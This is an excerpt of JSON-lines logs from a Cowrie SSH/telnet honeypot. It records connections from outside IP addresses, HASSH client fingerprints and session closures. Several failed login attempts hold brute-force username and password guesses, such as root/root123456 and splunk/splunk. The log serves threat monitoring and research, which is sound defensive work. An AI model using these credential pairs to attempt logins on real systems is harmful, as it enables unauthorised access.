"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:21.311877Z","src_ip":"176.65.132.129","session":"1ae63c5e81cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":53784,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d6463f06b2e","protocol":"telnet","message":"New connection: 45.81.23.16:53784 (10.17.0.5:23) [session: 3d6463f06b2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:21.331979Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":53790,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa52d7ca6f07","protocol":"telnet","message":"New connection: 45.81.23.16:53790 (10.17.0.5:23) [session: aa52d7ca6f07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:21.605577Z"}
{"eventid":"cowrie.login.failed","username":"tom","password":"tom123","message":"login attempt [tom/tom123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:21.818707Z","src_ip":"176.65.132.129","session":"1ae63c5e81cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":53792,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4a09a39312e","protocol":"telnet","message":"New connection: 45.81.23.16:53792 (10.17.0.5:23) [session: f4a09a39312e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:22.743827Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:22.903385Z","src_ip":"176.65.132.129","session":"1ae63c5e81cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":59562,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5c9de40b2c7","protocol":"ssh","message":"New connection: 176.65.132.129:59562 (10.17.0.5:22) [session: a5c9de40b2c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:24.780328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:24.785949Z","src_ip":"176.65.132.129","session":"a5c9de40b2c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:24.868917Z","src_ip":"176.65.132.129","session":"a5c9de40b2c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123456","message":"login attempt [root/root123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:25.121499Z","src_ip":"176.65.132.129","session":"a5c9de40b2c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:26.216266Z","src_ip":"176.65.132.129","session":"a5c9de40b2c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":35552,"dst_ip":"159.203.135.109","dst_port":23,"session":"226702ed629f","protocol":"telnet","message":"New connection: 192.211.53.160:35552 (159.203.135.109:23) [session: 226702ed629f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:26.562845Z"}
{"eventid":"cowrie.session.closed","duration":0.1075444221496582,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:26.670264Z","src_ip":"192.211.53.160","session":"226702ed629f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":43786,"dst_ip":"159.203.135.109","dst_port":23,"session":"3abb51553812","protocol":"telnet","message":"New connection: 38.60.198.128:43786 (159.203.135.109:23) [session: 3abb51553812]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:27.332027Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40376,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4b3d6cd8a6b","protocol":"ssh","message":"New connection: 176.65.132.129:40376 (10.17.0.5:22) [session: e4b3d6cd8a6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:28.203329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:28.206405Z","src_ip":"176.65.132.129","session":"e4b3d6cd8a6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:28.287081Z","src_ip":"176.65.132.129","session":"e4b3d6cd8a6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"123456","message":"login attempt [elastic/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:28.532937Z","src_ip":"176.65.132.129","session":"e4b3d6cd8a6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.349266767501831,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:28.681122Z","src_ip":"45.81.23.16","session":"3d6463f06b2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:29.616747Z","src_ip":"176.65.132.129","session":"e4b3d6cd8a6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.195.254.215","src_port":50748,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ca054c91ee5","protocol":"ssh","message":"New connection: 199.195.254.215:50748 (10.17.0.5:22) [session: 0ca054c91ee5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:30.320518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:30.333196Z","src_ip":"199.195.254.215","session":"0ca054c91ee5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":47786,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e27db208d57","protocol":"telnet","message":"New connection: 38.60.198.128:47786 (159.203.135.109:23) [session: 0e27db208d57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:30.409862Z"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:30.871011Z","src_ip":"199.195.254.215","session":"0ca054c91ee5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40402,"dst_ip":"10.17.0.5","dst_port":22,"session":"cac824169bc7","protocol":"ssh","message":"New connection: 176.65.132.129:40402 (10.17.0.5:22) [session: cac824169bc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:31.556855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:31.586123Z","src_ip":"176.65.132.129","session":"cac824169bc7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:31.819460Z","src_ip":"176.65.132.129","session":"cac824169bc7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":9.462631940841675,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:32.206342Z","src_ip":"45.81.23.16","session":"f4a09a39312e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa@123456","message":"login attempt [root/Aa@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:32.213398Z","src_ip":"176.65.132.129","session":"cac824169bc7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1230","message":"login attempt [root/admin1230] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:33.243048Z","src_ip":"199.195.254.215","session":"0ca054c91ee5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.74578237533569,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:33.274253Z","src_ip":"38.60.198.128","session":"88f309f4b533","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:33.296903Z","src_ip":"176.65.132.129","session":"cac824169bc7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.182377338409424,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:34.787845Z","src_ip":"45.81.23.16","session":"aa52d7ca6f07","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:34.825453Z","src_ip":"199.195.254.215","session":"0ca054c91ee5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40420,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3b9585107cc","protocol":"ssh","message":"New connection: 176.65.132.129:40420 (10.17.0.5:22) [session: e3b9585107cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:35.096824Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:35.101853Z","src_ip":"176.65.132.129","session":"e3b9585107cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:35.183485Z","src_ip":"176.65.132.129","session":"e3b9585107cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"splunk","password":"splunk","message":"login attempt [splunk/splunk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:35.429821Z","src_ip":"176.65.132.129","session":"e3b9585107cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":52950,"dst_ip":"159.203.135.109","dst_port":23,"session":"4fe020a1ed0c","protocol":"telnet","message":"New connection: 38.60.198.128:52950 (159.203.135.109:23) [session: 4fe020a1ed0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:35.614639Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:36.676754Z","src_ip":"176.65.132.129","session":"e3b9585107cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53052,"dst_ip":"10.17.0.5","dst_port":22,"session":"f866a425605c","protocol":"ssh","message":"New connection: 176.65.132.129:53052 (10.17.0.5:22) [session: f866a425605c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:38.518323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:38.522854Z","src_ip":"176.65.132.129","session":"f866a425605c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:38.604810Z","src_ip":"176.65.132.129","session":"f866a425605c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zahra","password":"12345678","message":"login attempt [zahra/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:38.852242Z","src_ip":"176.65.132.129","session":"f866a425605c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.215.8.165","src_port":38532,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3bb78e448fd","protocol":"ssh","message":"New connection: 95.215.8.165:38532 (10.17.0.5:22) [session: c3bb78e448fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:39.378353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:39.385725Z","src_ip":"95.215.8.165","session":"c3bb78e448fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:39.466103Z","src_ip":"95.215.8.165","session":"c3bb78e448fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arkserver","password":"123456","message":"login attempt [arkserver/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:39.783713Z","src_ip":"95.215.8.165","session":"c3bb78e448fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:39.937476Z","src_ip":"176.65.132.129","session":"f866a425605c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:40.886120Z","src_ip":"95.215.8.165","session":"c3bb78e448fd","protocol":"ssh"}
